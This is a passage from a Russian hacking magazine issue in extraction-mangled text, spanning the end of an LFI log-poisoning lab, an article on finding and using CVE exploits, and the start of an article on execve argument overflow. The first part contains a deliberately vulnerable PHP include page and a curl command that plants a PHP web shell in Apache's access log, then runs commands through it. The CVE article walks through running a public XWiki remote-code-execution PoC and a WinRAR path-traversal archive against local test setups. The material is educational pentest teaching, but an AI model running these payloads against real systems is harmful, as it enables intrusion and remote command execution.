RUN mkdir -p /var/log/apache2 \
    && chown -R www-data:www-data /var/log/apache2 \
    && chmod -R 755 /var/log/apache2 \
    && rm -f /var/log/apache2/*.log \
    && sed -i 's|ErrorLog ${APACHE_LOG_DIR}/error.log|ErrorLog /var/
log/apache2/error.log|' /etc/apache2/apache2.conf \
    && sed -i 's|CustomLog ${APACHE_LOG_DIR}/access.log|CustomLog /
var/log/apache2/access.log|' /etc/apache2/apache2.conf \
    && sed -i 's|CustomLog ${APACHE_LOG_DIR}/other_vhosts_access.
log|CustomLog /var/log/apache2/other_vhosts_access.log|' /etc/
apache2/conf-available/other-vhosts-access.conf || true

# Уязвимая страница LFI
COPY <<'EOF' /var/www/html/vuln.php
<?php
if (isset($_GET['page'])) {
    include($_GET['page']);
} else {
    echo "<h1>LFI demo page</h1>";
}
?>
EOF

EXPOSE 80

Обрати внимание на смену владельца и установку прав на папку с логами. Хук
возможен только в случае, если у тебя есть права на чтение логов.

Собери и запусти контейнер:

docker build -t lfi-log-lab .
 docker run -d -p 8080:80 --name lfi-lab lfi-log-lab

Выполни инъекцию шелла в лог командой

curl  -A '<?php extract($_GET); system($c); die(); ?>' http://
localhost:8087/vuln.php

Проверь, чтобы в   лежал код в правильном формате:access.log

  docker exec -it lfi-lab tail -n 3 /var/log/apache2/access.log

В ответе должна быть подобная строка:

172.17.0.1 - - [23/Feb/2026:10:25:38 +0000] "GET /vuln.php HTTP/1.1" 
200 196 "-" "<?php extract($_GET); system($c); die(); ?>"

Функция  выбрана не случайно. По умолчанию Apache 2 избавля‐

ется от кавычек. Например, можем попытаться отправить такой код:

extract()

 <?php system($_GET["cmd"]);die();?>

Тогда на выходе получим

 <?php system($_GET[cmd]);die();?>

При попытке инклудить код увидишь фатальную ошибку, так как    —
это неизвестный для PHP литерал. Если экранируешь кавычки через , в лог

строка упадет в  том же виде: . Такой код тоже приведет

к ошибке. Поэтому оптимальный путь — это «разобрать» именованный мас‐
сив  по  локальным переменным. После работы функции PHP создаст
одноименные переменные.

cmd
\"

$_GET[\"cmd\"]

$_GET

Команда  нужна для прекращения выполнения. Все, что идет в файле

после нее, будет проигнорировано интерпретатором PHP. Это  позволит
избежать ошибок при  выполнении твоего шелла и  защитит твою инъекцию
от  чужих инъекций. С  другой стороны, если допустишь ошибку в  инъекции,
придется ждать, когда логи сервера заполнятся и система скинет их.

die()

Тебе осталось передать команду в параметре :&c

curl "http://localhost:8087/vuln.php?page=/var/log/apache2/access.
log&c=id"

При выполнении запроса PHP увидит в   путь к логу. При помощи 

подгрузит файл лога и приступит к поиску блоков PHP в тексте. Наткнувшись
на  , выполнит код вставки. Текст вне PHP-блока будет проигно‐

рирован.

page include

<?php...?>

Внутри блока выполнится экстракт. Значение GET-параметра  попадет

в переменную . Далее сработает системный вызов. Наш пример приведет
к  системному вызову функции . Результат работы  отправляется

в  ; в данном случае это тело ответа сервера. Завершится выполнение

функцией , после которой интерпретатор забудет про текст лога и про‐
должит выполнение кода, идущего за  .

&c
$c

id system
stdout

die()
include($_GET['page']);

Как видишь, есть много способов загрузить шелл на сервер. Конкретный
способ зависит от конфигурации таргета.

АВТОНОМНЫЕ И НЕАВТОНОМНЫЕ ВЕБ-ШЕЛЛЫ

Шеллы на PHP в большинстве случаев автономны — загрузил файл, и можно
сразу пользоваться. Как  ты понимаешь, такой подход работает не  везде.
Автономно могут работать и  веб‑шеллы, ориентированные на  ASP, JSP
и скрипты на Perl.

Автономные веб‑шеллы работают исключительно благодаря архитектуре
интерпретатора и  веб‑сервера, которые выполняют код по  факту HTTP-зап‐
роса к  файлу. Противоположность  — проекты с  предварительной загрузкой
структуры файлов и роутов.

Отличный пример — проекты на Node.js. Просто так залить веб‑шелл в них
не  получится. Запущенное приложение просто проигнорирует твой файл.
Node.js загружает приложение целиком, работает с  прописанными маршру‐
тами и не подтягивает новые файлы автоматически при их появлении. Чтобы
Node.js начал обрабатывать файл, веб‑сервер должен его увидеть и каким‑то
образом подгрузить. Например, если у тебя есть возможность запустить свой
шелл на  параллельное выполнение на  другом порте, прописав команду
в  .package.json

Результата ты не получишь, даже если у тебя есть возможность дописать
свой шелл в код одного из файлов или добавить новый роут. Пока приложе‐
ние не будет перезапущено, ни о какой обработке речи быть не может.

Существуют способы «выбить» сервер и  заставить перезагрузить
веб‑приложение. Но это уже выходит за пределы знакомства с веб‑шеллами.
На  этом этапе тебе важно само понимание того, что бывают автономные
и  неавтономные скрипты. На  первых порах проще работать с  классическим
заливом. Если интересно узнать, как  заливать и  закреплять неавтономный
веб‑шелл, напиши в комментах. © X

https://github.com/MegaBedder/wsoshell
https://github.com/wso-shell-php
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ВЗЛОМ

WPScan нашел  20 CVE, но  ты не  знаешь,
почему все эксплоиты отказались взломать
для  тебя сайт? Давай подробно и  с при‐
мерами расскажу, что такое CVE, какие они
бывают и  почему одни CVE делают тебя
повелителем сервера, а  другие больше
похожи на насмешку админа.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

CVE (Common Vulnerabilities and Exposures) — это справочник, в котором хра‐
нится информация обо  всех публичных уязвимостях. В  нем есть данные
об уязвимостях в никому не нужных плагинах Drupal и  , которая
описывает, как взломать WhatsApp одной картинкой. Там же лежит информа‐
ция об уязвимостях с физическим доступом, например  — уяз‐
вимость в доверенном модуле (TPM), подключенном по SPI-шине, в промыш‐
ленных компьютерах Moxa UC-1200A. Она описывает возможность физичес‐
кой атаки на SPI-шину TPM. Там же — уязвимости всех операционных систем
и еще много всего разного.

CVE-2019-11927

CVE-2026-0714

Пример инфы об уязвимости

Ведет базу CVE компания MITRE Corporation на  деньги правительства США
через Cybersecurity and Infrastructure Security Agency (CISA). MITRE управляет
системой CVE, регистрирует каждую уязвимость. Она отвечает за уникальные
идентификаторы и  базовое описание уязвимости. Идентификатор составля‐
ется по шаблону CVE-YYYY-ID, где YYYY — год обнаружения, а  ID — поряд‐
ковый номер.

Чтобы уязвимость обрела оценку риска, ссылки на другие ресурсы и про‐
чую подробную информацию, к  делу подключается National Institute
of  Standards and  Technology (NIST). Данные NIST попадают в  National
Vulnerability Database (под National подразумевается США).

Из базы NIST CVE расползается по  разным сайтам. Например, есть лис‐
тинг CVE на GitHub, , VulnDB и прочие проекты. Каждый ресурс обо‐
гащает информацию о CVE. Апогей — сайты вроде , где публикуются
эксплоиты для  CVE, а  также статьи, демонстрирующие эксплуатацию уяз‐
вимости.

CVEFeed
ExploitDB

WWW

Я для  себя делаю проект   — канал
в Telegram с анонсами CVE. Подписывайся, если
заинтересовало.

CVE Radar

КАК РАБОТАТЬ С CVE НА ПРАКТИКЕ

Давай посмотрим, как информация из CVE может пригодиться при пентесте.
Я покажу атаку на  приложение XWiki. Если хочешь повторить действия
из статьи, тебе понадобится Docker.

Для начала собери тестовый проект с XWiki. Создай :docker-compose.yml

 version: "3.8"

services:
  xwiki:
     image: xwiki:15.10.10-postgres-tomcat
     container_name: xwiki-vuln
    ports:

       - "8080:8080"
    environment:

       - DB_HOST=postgres
       - DB_DATABASE=xwiki
       - DB_USER=xwiki
       - DB_PASSWORD=xwiki

    depends_on:
      postgres:

         condition: service_healthy
    volumes:

       - xwiki-data:/usr/local/xwiki

  postgres:
     image: postgres:15
     container_name: xwiki-db
    environment:

       POSTGRES_DB: xwiki
       POSTGRES_USER: xwiki

       POSTGRES_PASSWORD: xwiki
       POSTGRES_INITDB_ARGS: "--encoding=UTF8"

    volumes:
       - postgres-data:/var/lib/postgresql/data

    healthcheck:
          test: ["CMD", "pg_isready", "-U", "xwiki"]

       interval: 10s
       timeout: 5s
       retries: 5

volumes:
  xwiki-data:
  postgres-data:

Зайди на   и  начни установку. Создай администра‐

тора и переходи к установке базовой конфигурации.

http://127.0.0.1:8080/

Выбери Standart Flavor. На экране установки он появляется не сразу, клик‐
ни в строку поиска и подожди минуту. Когда появится, выбери и начни уста‐
новку. Установка займет минут  10–15. Но  не оставляй мастер установки
без внимания, периодически придется жать Install и Continue.

Установка базовой конфигурации

Когда процесс завершится, откроется полноценное веб‑приложение.

XWiki установлена

Внизу страницы красуется надпись XWiki 15.10.10. Если  бы это  был не  наш
проект, то из нее мы бы узнали, для какой версии искать CVE.

Но не  всегда веб‑приложения раскрывают свою версию. В  таком случае
придется идти на  хитрости. Мне часто помогает 

. На  большинстве сайтов оно неплохо справляется с  определе‐
нием стека технологий, в том числе с указанием конкретных версий. Правда,
с XWiki не справилось.

расширение для  браузера
Wappalyzer

Пример окна Wappalyzer

Если информации на  сайте нет и  автоматика не  помогла, можешь сам заг‐
лянуть в  HTML-исходник. Приложения вроде WordPress могут раскрывать
свою версию в импортах  или  . Иногда выручают файлы вроде 

, ,  и их варианты с расширением .

js css change.
log readme.html license.html .txt

Мы знаем, с чем работаем, поэтому можем приступить к поиску известных
уязвимостей. Начинать можно с поиска в Google. Вводи «xwiki 15.10.10 cve»,
«xwiki 15.10.10 poc», «xwiki 15.10.10 exploit» и тому подобные запросы.

Результат поиска CVE в XWiki

Если нашли подходящую CVE, заглядываем на  , чтобы ознакомиться
с описанием:

nist.gov

XWiki Platform — это универсальная вики-платформа, предоставляющая 
рантайм-сервисы для приложений, построенных поверх нее. Любой гость 
может удаленно выполнить произвольный код через запрос к SolrSearch. 
Это затрагивает конфиденциальность, целостность и доступность всей 
установки XWiki.

Для воспроизведения на экземпляре без входа в систему откройте

<host>/xwiki/bin/get/Main/SolrSearch?media=rss&
text=%7D...%7B%2Fasync%7D%7D%20

Если появляется вывод и заголовок RSS-ленты содержит строку Hello 
from search text:42, значит, экземпляр уязвим.

Уязвимость исправлена в версиях XWiki 15.10.11, 16.4.1 и 16.5.
0RC1. Рекомендуется обновить систему.

Если обновление невозможно, можно отредактировать Main.
SolrSearchMacros в файле SolrSearchMacros.xml на строке 955 и 
привести макрос rawResponse к виду, соответствующему макросу в 
macros.vm#L2824, указав тип содержимого application/xml, вместо 
прямого вывода содержимого RSS-ленты.

Из описания видно, что наша версия подвержена . Уяз‐
вимость ведет к  удаленному выполнению кода без какой‑либо аутентифика‐
ции. Неудивительно, что CVE определена как  критическая и  имеет рейтинг
опасности 9.8 (близкий к максимальному).

CVE-2025-24893

Есть даже пример атаки. Не  всегда эти примеры срабатывают, поэтому
в случае неудачи стоит попробовать разные эксплоиты. Я буду использовать

 (о различиях между PoC и эксплоитами поговорим чуть позже).
Но  перед скачиванием посмотрю код . Работая с  чужим

кодом, особенно с эксплоитами и прочими хакерскими инструментами, всег‐
да нужно убедиться в безопасности.

PoC от D3Ext
CVE-2025-24893.py

В этом коде нет никаких бэкдоров или закладок, только демонстрация уяз‐
вимости. Заодно прямо из кода я узнал о двух параметрах запуска:

 — ссылка на таргет;• --url
 — команда, которую надо выполнить, если таргет уязвим.• --command

Клонируем репозиторий:

git clone https://github.com/D3Ext/CVE-2025-24893.git

Для эксплуатации выполни

 $ python CVE-2025-24893.py --url http://127.0.0.1:8080/ --command id

В ответ увидишь результат работы : 

. Поздравляю! Ты прошел полный путь от  идентификации стека
до получения RCE через публичную CVE.

id uid=0(root) gid=0(root) groups=0(
root)

Атака на XWiki

Поиск CVE в Goolge — это не единственный способ. В Kali и прочих «хакер‐
ских» ОС по умолчанию установлена тулза . Она помогает быс‐

тро искать эксплоиты и  шелл‑коды, но  может помочь в  работе с  CVE. Она
шерстит по базе ExploitDB и модулям Metasploit.

searchsploit

Пример поиска:

searchsploit xwiki

Результат поиска XWiki в searchsploit

Поиск показал, что для  этой версии XWiki есть RCE. Чтобы посмотреть
информацию, введи

searchsploit -x multiple/webapps/52136.txt

Команда откроет описание из  файла . Скопировать файл

в текущую папку можно так:

52136.txt

searchsploit -m multiple/webapps/52136.txt

Второй интересный момент  — наличие модуля для  фреймворка Metasploit.
Скопируй путь к файлу и открой тулзой через параметр .-x

Модуль Metasploit

Покопавшись в  модуле, увидишь референс на  конкретную CVE. Модуль
работает как с Linux, так и с Windows. Более того, есть возможность поднять
полноценную сессию Meterpreter. Плюс Meterpreter в  том, что это  одно
из самых надежных соединений для удаленной эксплуатации сервера. Прак‐
тически полноценный интерактивный TTY. Всю организацию реверс‑шелла
возьмет на  себя фреймворк, тебе нужно просто указать входные данные
для модуля.

WWW

Больше примеров поиска CVE и  эксплуатации
можешь найти в 
или  обзорах других авторов «Хакера». Очень
рекомендую почитать  машин с Hack
The  Box, которые делает RalfHacker, так ты быс‐
трее закрепишь навык.

моих обзорах уязвимостей

прохождения

Proof of concept vs Exploit
Proof of  concept (PoC)  — это  подтверждение уязвимости. PoC создают
под  конкретные условия, чтобы показать реальность CVE. Некоторые такие
скрипты при попытке использовать в реальной жизни перестают работать.

Эксплоит же  — это  вредоносный скрипт или  программа. Задача экспло‐
ита — использовать уязвимость по максимуму. Авторы реальных эксплоитов
делают их универсальными, включают код для обхода WAF и других программ
защиты. Часто разработчик эксплоита тестирует его в разных средах и усло‐
виях, чтобы добавить обработку неожиданных ситуаций.

Итого эксплоит  — это  боевая машина злоумышленника, а  PoC  — всего
лишь способ показать уязвимость.

Помни: используя эксплоиты, ты полностью отвечаешь за  последствия.
И  речь не  только про  возможное нарушение закона. Эксплоит может
нарушить работу веб‑приложения или целой компании. Всегда проверяй код!
Убедись, что нет бэкдоров, закладок и что код ничего не затрет.

В целом, используя любые инструменты при  пентесте, будь осторожен.
Например, такой запуск  может привести к неожиданным последстви‐
ям:

sqlmap

  3  5sqlmap -u http://target.com --batch --risk --level

Последние два параметра позволяют «мапе» использовать опасные нагрузки.
В  результате ты можешь переписать критические данные или  вовсе удалить
базу данных веб‑приложения. Вряд ли твой отчет о  найденной уязвимости
перекроет ярость клиента.

Искать PoC и эксплоиты лучше здесь:
  — ищи на  самом GitHub по  CVE либо в  Google с  дорком 

. Используй оба варианта поиска, результаты могут сильно
отличаться;

• GitHub site:
github.com

  — огромная база готовых PoC для  всего подряд: от  WordPress
и прочих CMS до сетевого оборудования;

• ExploitDB

  — агрегатор с  подробными техническими деталями и  таймлайном
раскрытия;

• VulDB

 — один из старейших архивов эксплоитов, там есть то, чего
нет на ExploitDB;

• Packet Storm

  — агрегирует эксплоиты сразу из  ExploitDB, GitHub, Packet Storm
и других источников в одном поиске.

• Sploitus

ЛОМАЕМ WINRAR

CVE могут быть не  только про  веб, но  и про  обычный софт. Например,
в WinRAR постоянно находят интересные уязвимости. Но для теста нужна пра‐
вильная версия — 7.10.

Существует отличный сайт  со  старыми версиями популярных
программ, но  я просто подменил версию в  официальной ссылке и  получил
нужную.

Old Version

Было:

https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-
720.exe

Продолжение статьи →

https://t.me/ret0x2A
https://nvd.nist.gov/vuln/detail/CVE-2019-11927
https://nvd.nist.gov/vuln/detail/CVE-2026-0714
https://cvefeed.io/
https://www.exploit-db.com/
https://t.me/cve_radar
https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
https://nvd.nist.gov/vuln/detail/CVE-2025-24893
https://nvd.nist.gov/vuln/detail/CVE-2025-24893
https://github.com/D3Ext/CVE-2025-24893/tree/main
https://xakep.ru/author/ret42/
https://xakep.ru/author/ralfhacker/
https://github.com/
https://www.exploit-db.com/
https://vuldb.com/
https://packetstorm.news/
https://sploitus.com/
https://www.oldversion.com/


CVE С САМОГО НАЧАЛА
УЧИМСЯ ИСКАТЬ ИНФОРМАЦИЮ

ОБ УЯЗВИМОСТЯХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Стало:

https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-
710.exe

В результате  нужная версия программы.качается

Скачиваем уязвимый WinRAR

Установи программу на виртуалку, тестировать уязвимости в рабочей ОС —
не  лучшая идея. Как  минимум потому, что нужно отключить защиту Windows,
иначе антивирь может помешать.

Версию уязвимого ПО  ты знаешь. Для  начала попробуем глянуть
в  :searchsploit

searchsploit winrar

Поиск в searchsploit не дал результата

Увы, здесь ничего подходящего нет. Значит, стоит поискать в Google: «Winrar
7.10 CVE». В ответ получишь кучу ссылок на  .CVE-2025-6218

Результат поиска инфы о CVE

Открыв пару из них, узнаешь, что речь идет о Directory Traversal Remote Code
Execution Vulnerability с  оценкой риска в  7.8. Уязвимость позволяет обход
пути, и это может привести к RCE! Последнее оставим за кадром, а то знаю я
вас — сломаете все школьные компьютеры. А вот с директориями поиграем‐
ся.

Описание уязвимости на cve.org

В выдаче Google тебе должны были попасться результаты вроде «CVE-2025-
6218 exploit». Если нет, то вбей эту строку в  поиск. Для  надежности добавь
к запросу .site:github.com

Я выбрал репозиторий от  . Внутри есть тестовый архив, есть
скрипт на Python, генерирующий архив. Скачай всё и попробуй открыть архив

 прямо в WinRAR. Сразу увидишь, в чем заключается уязвимость.

ignis-sec

test.rar

Внутри архива лежит папка с интересным именем

Попробуй кликнуть правой кнопкой мыши и  распаковать архив. Для  наг‐
лядности можешь сделать это  дважды, чтобы вызвать окно с  вопросом
о  замене. Там увидишь интересный путь: . Изменяя

количество переходов вверх , можно положить файл почти куда угодно.

Почти, потому что ты наверняка ограничен отсутствием прав и  пристальным
взором антивируса — но это уже другая история.

\test\..\..\test.txt
\..

Обрати внимание на путь распаковки

КОНТЕКСТ CVE

Каждая уязвимость может выполняться только в  определенных условиях.
Самое сладкое  — неавторизованное удаленное исполнение. Большинство
CVE, с которыми столкнешься, носят гораздо более ограниченный характер.
Может потребоваться, чтобы у  тебя был какой‑то токен для  авторизации
или другие специфичные условия. На это стоит обращать внимание в первую
очередь.

В примере с  WinRAR все выглядит гладко в  теории. В  реальности поль‐
зователь может открыть архив в  программе и  удивиться. Антивирь может
перехватить атаку. Многое может пойти не так.

Огромное количество CVE в  плагинах WordPress часто неэксплуати‐
руемые. Они могут требовать уровня доступа админа или редактора, в то вре‐
мя как на сайте нельзя зарегистрироваться даже как обычный пользователь.
Например, многие уязвимости SSRF в плагинах WordPress опираются на воз‐
можности обратного пинга. Но чтобы до них добраться, придется найти спо‐
соб попасть в админку с топовыми правами.

Примеры неэксплуатируемых CVE в плагинах WordPress:
  — SSRF в  плагине PostX (Post Grid Gutenberg Blocks)

для WordPress, уязвимы все версии до 5.0.8 включительно через endpoints
 и 

. Требует права админа;

• CVE-2026-1273

/ultp/v3/starter_dummy_post/ /ultp/v3/
starter_import_content/

  — это  Stored XSS в  плагине Shortcodes Ultimate (версии
до 7.3.3), через параметр , требует уровня Contributor.

• CVE-2025-0370
src

Задаешься вопросом, зачем вообще нужны такие CVE? Обстоятельства
бывают разные. Если устройство уязвимо к физической атаке, а ты работаешь
в сверхсекретной лаборатории, стоит позаботиться о хорошей системе охра‐
ны.

В  2010  году случилась одна мощная атака на  иранскую ядерную прог‐
рамму. Да‑да, даже здесь всплыла эта тема. Но  история занимательная.
Каким‑то хитрым образом на  ядерный комплекс в  Натанзе попала флешка,
зараженная червем Stuxnet. Червь искал программное обеспечение Siemens
Step 7, которое управляло электромоторами центрифуг, и  разгонял их
до  самой смерти. В  своей работе червь использовал четыре уязвимости,
одна из  которых  — . Эта уязвимость, связанная с  файлами
LNK и PIF, еще долгое время пила кровь Microsoft.

CVE‑2010‑2568

Контекст использования уязвимости был крайне сложным. Но  результат
таки получен: уязвимость проэксплуатирована, часть центрифуг уничтожена.
Поэтому любая найденная уязвимость докумунтируется. Вдруг она когда‑то
станет частью цепочки?

Хороший пример такой цепочки уязвимостей ты найдешь в  моей статье
про  . Уязвимость  хоть и  ведет к  RCE,
но  не очень опасна из‑за необходимости токена авторизации. И  тут в  ход
идет , с  помощью которой легко прочитать конфиги и  сге‐
нерировать собственный токен.

связку двух CVE в  n8n CVE-2025-68613

CVE-2026-21858

CVSS

Чтобы быстро понять, насколько сложно эксплуатировать уязвимость, смотри
на данные CVSS. Это оценка опасности уязвимости. Для быстрого скоринга
выставляется оценка от  0  до  10, где  0  означает, что этой уязвимости
не  существует, а  10  значит «все пропало». В  дополнение к  циферкам есть
описательные поля. Например:

  — способ доступа к  уязвимости: NETWORK (через сеть),
ADJACENT (локальная сеть), LOCAL (локальный доступ), PHYSICAL
(физический доступ);

• attackVector

  — сложность эксплуатации, от   до  . Чем
ниже уровень, тем проще атакующему.

• attackComplexity Low High

CVSS бывает разных версий. Актуальные версии 3.1 и 4. В четвертой версии
есть дополнительные поля. Например, поле  показы‐
вает, нужны ли какие‑то привилегии для эксплуатации, или любой желающий
может успешно атаковать.

privilegesRequired

Давай посмотрим JSON-описание для  CVE-2026-3826. В  блоке 

найдешь CVSS:

metrics

"metrics": [
    {
        "format": "CVSS",
        "scenarios": [
            {
                "lang": "en",
                "value": "GENERAL"
            }
        ],
        "cvssV4_0": {
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "subConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH",
            "subIntegrityImpact": "NONE",
            "vulnAvailabilityImpact": "HIGH",
            "subAvailabilityImpact": "NONE",
            "exploitMaturity": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "valueDensity": "NOT_DEFINED",
            "vulnerabilityResponseEffort": "NOT_DEFINED",
            "providerUrgency": "NOT_DEFINED",
            "version": "4.0",
            "baseSeverity": "CRITICAL",
            "baseScore": 9.3,
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/
VI:H/VA:H/SC:N/SI:N/SA:N"
        }
    },
    {
        "format": "CVSS",
        "scenarios": [
            {
                "lang": "en",
                "value": "GENERAL"
            }
        ],
        "cvssV3_1": {
            "version": "3.1",
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "CRITICAL",
            "baseScore": 9.8,
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:
H/A:H"
        }
    }
]

Обрати внимание, что в  примере отличаются значения . Оценку,
вероятно, уронило низкое влияние на основные и второстепенные системы.

baseScore

0-day и 0-click
 — уязвимость, о которой вендор еще не знает либо знает,

но патча пока нет. Название отражает количество дней, которые есть у раз‐
работчика на исправление, — ноль. Именно поэтому они так ценны: защиты
не  существует по  определению. Поговаривают, что стоимость такой уяз‐
вимости может исчисляться долларовой суммой с шестью нолями.

Zero-day (0-day)

По определению понятно, что среди CVE 0-day не может оказаться. Если
уязвимость зарегистрирована как CVE, вендор о ней уже знает и, скорее все‐
го, уже поправил.

 — это не про статус уязвимости, а про условия экс‐
плуатации. Такая уязвимость не  требует от  жертвы ничего. Не  нужно откры‐
вать письмо или читать сообщение, не надо кликать. Это как в кино — отпра‐
вил команду и получил результат.

Zero-click (0-click)

Уязвимости 0-click встречаются среди CVE, но их эффективность стремит‐
ся к  нулю. Разработчики стараются быстро залатать дыру и  доставить патчи
всем пользователям.

ЗАКЛЮЧЕНИЕ

Теперь ты знаешь: три заветные буквы в отчете сканера не всегда означают
успех. CVE нужно внимательно изучить, посмотреть условия эксплуатации,
поискать PoC или  эксплоит. Важно уметь быстро по  CVSS 3.1  или  CVSS
4  отфильтровать неэксплуатируемые уязвимости, чтобы не  убивать часы
или дни на бесполезные поиски.

Но всегда есть шанс найти реальную жемчужину, которая позволит зах‐
ватить сервер двумя командами. На этот случай у тебя есть информация, где
искать PoC и  эксплоиты, как  ими пользоваться и  самому не  оказаться жер‐
твой. © X

https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-710.exe
https://nvd.nist.gov/vuln/detail/CVE-2025-6218
https://github.com/ignis-sec/CVE-2025-6218
https://www.sentinelone.com/vulnerability-database/cve-2026-1273/
https://nvd.nist.gov/vuln/detail/cve-2025-0370
https://nvd.nist.gov/vuln/detail/CVE-2010-2568
https://xakep.ru/2026/03/11/n8n-exploit/
https://nvd.nist.gov/vuln/detail/CVE-2025-68613
https://nvd.nist.gov/vuln/detail/CVE-2026-21858
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ВЗЛОМ

Чтобы сломать запуск программы в  Linux,
необязательно трогать сам бинарник
или  права доступа. Можно попробовать
перегрузить данные, которые передаются
процессу при  старте,  — аргументы коман‐
дной строки и  переменные окружения.
В  этой статье разберемся, как  это можно
реализовать.

Для этого нужно понять, как Linux ограничивает размеры  и  , а также

при  каких условиях  возвращает . Обладая этими знаниями,
мы добьемся стабильного переполнения и ограничим максимальный размер
вводимых команд в Bash с помощью переменных окружения.

envp argc
execve() E2BIG

E2BIG И ARG_MAX

При изучении книги по  Linux API я нашел интересную ошибку для  функции
  — . Она возникает, если список аргументов оказался слиш‐

ком длинным. Интересно. А  что значит «слишком длинный»? Как  вообще
узнать этот лимит?

execve() E2BIG

МАКСИМАЛЬНЫЙ РАЗМЕР ПЕРЕМЕННЫХ

Для определения максимального размера есть константа . Эти зна‐
чения задают максимальный размер , передающийся в  сис‐

темные вызовы . Для просмотра их значений в системе можно исполь‐

зовать

ARG_MAX
argc + envp

exec*

 | getconf -a grep ARG_MAX

Посмотрю у себя:

 | root@c340bf6c8c3e:/rev# getconf -a grep ARG_MAX
ARG_MAX                            2097152
_POSIX_ARG_MAX                     2097152

Отлично. Я получил стартовую точку.

Как передаются аргументы
Прежде чем двигаться дальше, уточним, что именно скрывается за  , 
и  :

argc argv
envp

 — количество аргументов командной строки;• argc
 — сами аргументы, то есть массив строк. Например, при запуске 

 в   попадут строки ,  и  ;
• argv ls
-l /tmp argv ls -l /tmp

 — массив переменных окружения в виде строк .• envp NAME=value

На практике, когда говорят про размер argc, почти всегда имеют в виду сум‐
марный объем аргументов из  .argv

ПЕРЕПОЛНЕНИЕ ARGC

 ограничивает размеры . Для простоты эксперимента я
буду использовать .
ARG_MAX argc + envp

argc

INFO

Лимит  относится не  только к  строкам
аргументов и переменных окружения. При запус‐
ке процесса ядро также размещает служебные
данные: массивы указателей, выравнивание
и  вспомогательную информацию. Поэтому
в практических экспериментах доступный размер
полезных данных может быть меньше, чем просто

.

ARG_MAX

argv + envp

Руками такое делать не  очень удобно (хотя я  бы глянул, как  кто‑нибудь
занимается этим). Мы для  этого используем Python. Понадобится сле‐
дующее:

запуск стороннего процесса с моими  и  ;• argc envp
получение информации об ошибке.•

ОБЕРТКА ВОКРУГ EXECVE

Обычного  недостаточно, так как  он заменяет память текущего про‐

цесса, значит, дальнейший код не  будет выполнен. В  качестве хелпера я
написал себе функцию , которая запускает процесс с переданными

,  и  :

execve

try_exec
bin argc envp

 def try_exec(
     bin: str,
       argv: list = None,
        envp: dict[str, str] = None
     ) -> tuple[bool, int | None]:

       if argv is None:
          argv = []

       if envp is None:
          envp = {}

       rfd, wfd = os.pipe()

      pid = os.fork()

       if pid == 0:
        try:
            os.close(rfd)

              os.execve(bin, argv, envp)
            os._exit(0)

           except OSError as e:
            try:

                 os.write(wfd, str(e.errno).encode('ascii'))
            finally:
                os._exit(111)

         except Exception:
            try:

                 os.write(wfd, b'-8163')
            finally:
                os._exit(112)

    os.close(wfd)
       data = os.read(rfd, 64)
    os.close(rfd)
        _, status = os.waitpid(pid, 0)

     if data:
           err = int(data.decode('ascii', errors='replace'))

         return (False, err)

     return (True, None)

Логика работы этой функции следующая:
1. Создается  для  общения между родительским и  дочерним процес‐

сами.
pipe

2. Вызывается  для создания дочернего процесса.fork
3. В дочернем процессе я закрываю , который используется для чтения,

а затем вызываю  для нужного бинарного файла.
rfd

execve
4. С помощью  я ловлю ошибку дочернего процесса, если он

завершился некорректно, и записываю ее код в  .
try/except

wfd
5. В это  же время родительский процесс пытается прочитать код ошибки

дочернего процесса из  , а затем ожидает завершения его работы.rfd
6. Далее возвращается кортеж с  двумя значениями: запустился дочерний

процесс или нет и код его ошибки.

INFO

Системный вызов  запускает новую
программу, заменяя образ текущего процесса.
Вместе с  этим в  ядро передаются аргументы
командной строки ( ) и  переменные окру‐
жения ( ). Их суммарный размер ограничен:
если данных слишком много, запуск прерывается
еще  на этапе . Поэтому в  Linux есть
лимит на общий объем  и  .

execve()

argv
envp

execve()
argv envp

ПОЛУЧАЕМ ОШИБКУ E2BIG

Следующий логический этап  — получение ошибки . В  качестве испы‐
туемого я буду использовать бинарный файл . Попробую запустить

его с аргументом длины :

E2BIG
/bin/true

ARG_MAX

   def get_e2big_crash() -> bool:
      val_len = os.sysconf(os.sysconf_names["SC_ARG_MAX"])

           ok, err = try_exec('/bin/true', ['true', 'A' * val_len])

     if ok:
         return False

       if err != errno.E2BIG:
         raise RuntimeError('Failed to find val_len')

     return True

Логика работы простая:
1. Получаем .ARG_MAX
2. Запускаем процесс  с аргументом ./bin/true 'A' * ARG_MAX
3. Проверяем код ошибки.

Запущу с  , чтобы увидеть код ошиб‐

ки, который вернет сам системный вызов.

strace -e trace=execve,execveat -f

INFO

Утилита strace показывает системные вызовы
программы.

Параметр  нужен для  отслеживания дочерних процессов, а 

используется для вывода информации об указанных системных вызовах.

-f -e trace=*

Запускаем код:

root@24c59f638617:/rev# strace -e trace=execve,execveat -f ./
e2big_crash.py
execve("./e2big_crash.py", ["./e2big_crash.py"], 0x7ffcc8a434f8 /* 10 
vars */) = 0
execve("/usr/local/sbin/python3", ["python3", "./e2big_crash.py"], 
0x7ffc5d4998e8 /* 10 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/local/bin/python3", ["python3", "./e2big_crash.py"], 
